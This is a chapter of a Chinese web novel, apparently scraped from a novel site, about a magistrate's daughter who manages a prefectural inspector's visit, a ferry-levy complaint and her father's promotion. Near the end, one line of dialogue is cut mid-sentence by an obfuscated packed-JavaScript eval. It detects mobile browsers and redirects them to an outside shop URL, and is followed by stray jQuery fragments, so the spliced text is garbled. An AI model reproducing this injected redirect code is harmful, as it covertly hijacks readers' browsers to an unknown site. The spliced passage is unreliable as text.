文趣网 > 其他小说 > 互为天命 > 21. 府衙来人
    任天高这日醒得很早。

    春杏昨日从门房问回来的话,她翻来覆去想了一夜:府衙来的这位姓王,叫王敬儒,主簿,在府衙十几年,跟府台走得近。

    但只知道这些,还不够。

    她从系统那里获得了三次查询机会,如今拿了快两个月,还一回都没用过。

    毕竟不知道这样的奖励机会以后会不会还有,万一浪费了,后面关键时候掉链子怎么办。

    任天高犹豫再三,还是闭上眼,在心里叫了一声系统。

    随着念头闪过,脑中突然响起一个声音,眼前出现一行闪着光的字。

    【查询:王敬儒。】

    【王敬儒,平江府主簿,四十七。在府衙十四年,近三年掌文书收发。府台跟前说得上话,不得力。今年考课,上上。欲转幕职官而不得。】

    任天高睁开眼。

    掌文书收发,那就是府衙什么东西往上送、往下压,得过他的手。考课上上又转不成幕职官,那就是今年他得拿出一样东西来。

    这就好比上头派了个不上不下的人下来验收。他这次要的不是真相,是一份能签了字交回去的东西。

    任天高叹了口气,三次机会用了一次,还剩两次。

    ***

    辰时,县衙二堂。

    王敬儒四十来岁,个子不高,脸刮得干净。进门先笑,笑完才拱手。

    "县尊。"

    "王主簿。"任伯安迎到阶下,"雨大,路不好走。"

    "不好走。"王敬儒跺了跺脚,"走过来一脚泥,毁了一双靴子。"

    七八句闲话说完,两人方才落座。

    王敬儒不紧不慢地从袖里取出一封公函,搁在案上。

    "两桩事。"他道,"头一桩,府衙六月里发来这封,吴江没回。"

    "回了。"

    王敬儒抬眼。

    "钱家次子钱同,六月廿八递的状。"任伯安道,"告他爹分家不公。状纸在案上压了几日,昨儿受理。"

    "府衙那封函说的是不许干预民户家产。"任伯安道,"县衙没干预。民户自己递的状,县衙按状受理。日子在公函之后。"

    堂上静了一下。

    王敬儒笑了起来。

    "县尊这一句,我怎么往回写?"

    "照实写。"

    王敬儒点了点头,把公函收起来。

    沈县丞在边上从头到尾没吭声。他心里那块石头这才落了地:这一句"按状受理",正是十六那天夜里他出的那个"拖"字拖出来的路。

    "第二桩。"王敬儒道。

    任伯安没接话。

    "这话我本不该学。"王敬儒笑了笑,"学出来倒显得我多事。"

    "王主簿但说无妨。"

    "今早我打米市过,听了一句。"他道,"说县令家的闺女,管着渡口的船。"

    任伯安的手在膝上放平了。

    "小女在闺中读书。"

    说完这句他自己顿了一下。这话前几日跟钱有粮说过一回,那回说完,钱有粮笑了一下。

    王敬儒"嗯"了一声,没往下问。可他也没把这句话放下,就那么搁着,端起茶来喝。

    王敬儒喝,任伯安也喝。堂上没人说话。

    ***

    任伯安回到后书房,脸色不好。任天高已经在里头了,春杏站在门外不敢进。

    她是从赵虎嘴里听来的。赵虎在二堂外头守着,堂上的话听不真切,只听见"闺女"两个字,回来学了一遍。

    "爹,王主簿问了?"

    "问了。"

    "爹怎么答的?"

    "照旧。"

    任天高在杌子上坐下来。

    "照旧不行。"

    她爹抬眼看她。

    任天高道:"这是递给府衙的一个把柄。他揣回去写进文书里,往后吴江出什么事,前头都挂着这么一句。"

    "我知道。"任伯安道,"所以我说小女在闺中读书。"

    "可他没信。"

    任伯安皱起眉。

    "他没信,也没追问,这更麻烦。"任天高道,"他不追问,是因为他本来就不在乎真假。他把这句话搁在那儿,是等爹自己拿东西去换。"

    "换什么?"

    "爹给了,他写'查无此事';爹不给,他写'风闻有之'。"任天高道,"这两句都不算大事。可只要写了,往后钱家还能再放一句。"

    给人留个口子。口子留着,他什么时候想用都能用。

    任伯安沉默了一会儿。

    "你的意思?"

    "带他去看。"

    "看什么?"

    "堤,榜。"

    任伯安没说话。

    "他不是来办人的。"任天高道,"他在府衙十几年,说得上话却不得力,今年考课要往幕职官上转。这一趟来吴江,他得带一样东西回去。"

    任伯安抬起头。

    "你怎么知道他不得力?"

    "门房说他在府衙十几年,跟府台走得近。"任天高道,"十几年还在主簿这个位子上,那就是不得力。爹在县衙熬的年头比他短,也熬出两任了。"

    任伯安"嗯"了一声,没再追问。

    "他要的不是'县令家教严'。"任天高道,"那句话写回去,府台看一眼就扔了。他要的是一件能记在他自己账上的事。"

    任伯安站了起来,在屋里走了两步,揉了揉眉心。他一想事就揉这儿,老毛病。

    "你要给他什么?"

    "渡口的账。"

    任伯安停在窗前,忽然道:"你娘跟我提过一句。"

    任天高抬头。

    "她说,这种事情,不如做在明处。"

    任天高没说话。

    他转过身,对外头道:"请凭郎君来。"

    ***

    凭海阔进门先看了一眼任天高,才拱手。

    "县尊。"

    "堤上那两段,如今看得么?"任伯安道。

    "外坡塌了半丈,填上了。月堤还在。"凭海阔道,"看是看得。只是那道缝里填的是新土,经不起细看。"

    "细看看不了,就看个大概?"

    "看个大概,人家也只看个大概。"凭海阔道,"他要问,我就答。他不问,我不说。"

    任天高在旁边听着。

    "他要问沉船的事呢?"

    凭海阔转过脸来。

    "沉了一条,苏七娘的。另一条撑住了。"

    "他会问为什么沉。"

    "为什么沉……"凭海阔顿了一下,"口子堵不上。学生以为,这没什么不能说的。"

    "有人会说你拿人家的船填口子。"

    "那是实话。"

    "实话也得看谁说。"任天高道,"你说,就是工地上的人自作主张。县衙说,是县衙准了的。"

    凭海阔没答。过了一会儿他道:"那我明日去堤上等着。他说什么我答什么,旁的我不接。"

    任伯安点了点头。

    ***

    午时雨歇了半天,日头出来了一会儿。

    "回来了。"春杏跑着回来传话,说话间带着急促的喘息,"赵虎在前院,门上不让他进二门。他说,王主簿在塌的那段上头站了很久。"

    "问了什么?"

    "问沉了几条船。沈县丞答的,沉了一条。"

    "还问什么?"

    "问月堤是谁的主意。"春杏道,"老爷说是凭郎君,让他从人后头出来见了礼。王主簿问了一句'宗室',凭郎君说'疏宗,太祖旁支'。"

    "然后呢?"

    "王主簿'哦'了一声。"

    "就哦了一声?"

    "就哦了一声。"

    任天高在窗前坐下来。疏宗这两个字,在官场上是最不值钱的一种:说出来人家不当你攀亲,只当你没落。凭海阔答得干净,这很好。可她心里还是咯噔了一下——他答得太干净了,像是早想好了要这么答。

    日头偏西,赵虎自己跑回来了,一头汗。

    "小姐,出事了。"

    任天高站了起来。

    "不是坏事,不是坏事。"赵虎摆手,抹了一把脸,"王主簿在照壁前头站住了,看榜。看到一半回头问:这榜,谁拟的。"

    "老爷怎么答?"

    "老爷说,县衙公议。"

    "王主簿说什么?"

    "他说,我问的是主意。"

    "老爷往前站了半步。"他道,"老爷说:小女读了几年书,胡乱说些见识,我听着有理,就用了。用的是县衙的名,办的也是县衙的事。"

    赵虎咽了口唾沫。

    "老爷还说:出了岔子,是我任伯安担。"

    任天高站在那儿没动。

    她爹在堂上说"照旧",原来只是在堂上照旧。出了堂,他把那句话自己改了。

    春杏在旁边"呀"了一声,赶紧捂住嘴。

    ***

    申时,任天高在花厅见了苏七娘。

    春杏一早到二门去接的她,回来学了一遍:七娘天没亮就到了,在门外站着,让进也不进,说等小姐叫。

    进了花厅她还是要跪,被任天高拦住了。

    "船的事,县里怎么补,你先说。"

    "我不要县里补。"

    任天高看着她。

    "我算过账的。"苏七娘道,"船沉了,名册上我排头一个。往后渡口的活我先挑。一条船,三年就挣回来了。"

    "三年。"

    "我男人没了那年我什么都没有,也是三年跑出来的。"苏七娘道,"这回我还剩一条船。"

    任天高没再劝。

    苏七娘从怀里掏出个布包,解开,是一叠毛边纸。

    "小姐,我那三年有账。"

    任天高接过来。

    "你识字?"

    "不识。"苏七娘道,"我每回被抽了成,就去城南找代写书信的祝先生,让他替我记一笔。一趟一笔,三年,记了一叠。"

    纸角都磨圆了。任天高翻开两页,上头一行一行:日子,船,抽多少,谁收的。字是小楷,写得极规矩,规矩到不像替人记的流水。

    "这个祝先生,给你记了三年?"

    "记了。"苏七娘道,"头一年他不肯收钱,说一个船户记这个做什么。第二年他自己先开口:这个月几趟?"

    任天高笑了。

    "他在哪儿?"

    "城南粮市口,摆摊代写书信。"

    任天高把那叠纸合上。

    "七娘,这账是你一个人的。一个人递上去,是船户告豪强,孤掌难鸣。"

    "那怎么办?"

    "名册上多少户?"

    "三十七户。"

    "这三年被抽过的,有多少?"

    苏七娘想了想:"三十户总有。"

    "那就不必你一个人递。"任天高道,"三十户联名,告渡口抽成。"

    苏七娘的手在膝上攥紧了。

    "小姐,他们肯么?"

    "你先去问。"任天高道,"问的时候别说县衙要告。说你自己要告,问他们签不签。"

    苏七娘仰起脸。

    "这……为什么?"

    "县衙要告,他们签字就是'奉命'。"任天高道,"你自己要告,他们签的代表的是自己的意愿。往后人家问起来,这两个字不一样。"

    苏七娘站着没动,过了一会儿点了点头。

    "我去问。"

    第二日午后她回来了,是赵虎领进来的。进门的时候脸是亮的,春杏在后头抿着嘴笑。

    "三十户里,二十九户签了。"苏七娘道,"还有五户不在册上的,也来问能不能签。我说不能。"

    二十九。任天高在心里算了算,这个数搁在她从前做过的任何一次用户调研里都算离谱。

    "为什么不能?"

    "名册上的才是县里的人。"苏七娘道,"不在册的签了,这状就成了'一伙人闹事'。"

    任天高看着她。

    "这话谁教你的?"

    "没人教。"苏七娘道,"我昨儿夜里想的。"

    ***

    第三日王敬儒要走。走之前,任伯安把那一叠纸的誊本,连同二十九户的联名状,一并交到他手上。

    王敬儒在堂上翻了很久。

    "这一叠,从三年前记起的。"

    "是。"

    "船户不识字。"

    "代书的记的。"任伯安道,"人在城南,姓祝。县衙可以传他来问。"

    王敬儒"嗯"了一声,把纸卷起来。

    "这一趟,我回去有得写了。"

    任伯安道:"王主簿写什么都成

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17963044|213300||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。只求一句实话。"

    王敬儒笑了。

    "实话是:吴江这个夏天,没饿死人。"

    堂上静了一下。沈县丞在边上抬了抬眼,没敢接。

    王敬儒把纸收进袖里。

    "这话我带回去。"

    ***

    王敬儒走了七八日,渡口那边才有动静。

    "钱小山撤了。"赵虎从渡口回来,一屁股坐在廊下的台阶上,"不收了。"

    "那以后谁收?"

    "没人收。"赵虎道,"钱有粮把城南那两间铺面给了钱同,契都立了。钱同接了铺面,头一件事是把租减了半成。"

    "减给谁?"

    "减给船户。"赵虎咧了咧嘴,"他自己说的:渡口的船要是都跑了,他那两间铺面,租给鬼?"

    任天高笑了一下。

    笑完,心里咯噔一下。

    抽成停了,是钱家自己让的。三十户签了名,是把钱家得罪了。到头来这三十户什么也没落着,只落了一个"告过状"的名声。府里那张状子还悬着,没有回文,没有批词,谁也不知道它压在哪一格的架子上。

    她在公司做过这种事:风险一条一条登记进台账,登记完大家就当它解决了。台账不是解决,台账是"我记得"。

    她爹一走,渡口就是没娘的孩子。

    ***

    七月二十,府衙的行文到了吴江。

    不是吏部直接下的。任天高在心里把这段路走了一遍:王敬儒回平江,得写;府台看了,得往上报;报上去,批下来,再发回吴江。这中间二十来天,已经是快的了。

    她爹从县衙回来,手里捏着一封文书进了花厅。春杏跟在后头,脸涨得通红,一路小跑进来的,站在门口不敢出声。任天高看一眼她爹的脸色,就知道不是坏事。

    "爹。"

    "平江府通判。"任伯安把文书搁下,"候新令交割,交割完了就走。"

    任天高站了起来。

    "这是升了。"

    "升了。"任伯安坐下喝了一口茶,"王敬儒回去写的那几句话,有用。"

    他顿了顿。

    "到了府里,是去给人当副手的。府里的事,比县里绕。"

    任天高忽然想起她娘那句"你爹这一任估计也就到头了"。

    她坐下来,问了一句:"新令什么时候到?"

    "八月初。"

    任天高在心里算:还有十来天。这十来天,是她在吴江最后能办事的日子。

    当日下午凭海阔过府来,任伯安把升迁的事说了。

    "我八月里交割。你随不随?"

    "学生随。"

    "随可以。"任伯安道,"可你要想清楚:你跟着我,最多是个客卿。"

    凭海阔没说话。

    ***

    凭海阔告退出来,走到廊下。任天高从后头跟出来,春杏在阶下收拾茶盘,赵虎在院门口站着。

    "郎君。"

    "小姐。"

    "客卿这两个字,你听懂了?"

    凭海阔沉默了一下。

    "听懂了。"他道,"客卿不是官。县尊用我,是我的本事;县尊不用我,我什么也不是。"

    任天高看着他。

    "你得自己有出身。"

    凭海阔抬起头。廊下那盏灯还没点,天光只剩最后一点,任天高看不清他的眼睛。

    "我知道。"他道。

    疏宗可以应举。秋试在各州,解试取了才能赴京。她一个现代人在古代能替他算的路,全在这几句里了。

    "八月里你随我爹去平江。"她道,"到了那边,你自己想。"

    凭海阔拱了拱手。

    "我记着。"

    任天高站在廊下看着他走出去,在心里叹了口气:好不容易说句话,每次就说几个字,这关系,怎么拉进。

    她在公司带过这样的下属,活交下去干得漂亮,问一句答一句,绝不多说半个字。这种人最好用,但也最难托底。

    凭海阔那头走出院门,心里还在嚼那句"你得自己有出身"。

    他听懂了一半。出身这两个字在他这儿不是"我要去考个功名",是"我做的这些事,得有个地方落账"。

    ***

    凭海阔回到城西老宅已经晚了。林伯给他留了灯,留了饭,饭在锅里温着。

    他没吃,坐在堂屋门槛上看着院子里那片天。祖宅退回来了,房子空了一半,租子还没收齐。他今年十九。

    他坐在那儿把自己这几年从头数了一遍。

    "客卿"这两个字,他今日头一回听人说出口。可这条路他早就在走:画图纸送到县衙,不留名;改农具送到田里,不留名;这一回守堤,他跳进水里的时候想的也不是"我要让人知道"。

    他一直以为把事情做好,路自然就有了。

    今日那句"你得自己有出身",讲的是另一回事:不是做了事就有路,是有了出身,做的事才算数。

    他坐在门槛上,坐到露水下来。

    就在这时,凭海阔脑中突然响起一个声音,眼前出现一行闪着光的字。

    【支线任务已发布:出身。】

    【完成条件:取得应举资格,下场应试。】

    【奖励:经义·策论·时务(初级)。】

    凭海阔看着那行字,看了很久。

    经义、策论、时务。这三样搁一块儿。

    看来是要让一个理工科出身的人去学文科的事了。

    "行吧。"他站起身,把锅里的饭端出来,"先吃饭。"

    ***

    同一夜里,任天高在院里坐着。

    她又掰着指头数了一遍:堤上那两段护坡,钱家那对父子,官仓的账,渡口的七娘。

    四件。六月里她数这一遍的时候,一件都够不着。如今四件都在册上了。

    可册子上记的是事,落到现实里,还得是人。

    她想的是下一程的人手:她爹八月初交割,凭海阔跟着走,渡口留给七娘,城南那个代写书信的祝先生,城外那个姓沈的医户。听起来都是能人,可她手里如今真能用的人太少了。辅佐少主的队伍,人还很欠缺啊。

    人手是一件,托底又是另一件。她数来数去,往后真出了事能替她往前站的人,眼下只有那一个。

    可那一个人,连她眼下要往哪儿去都还不知道。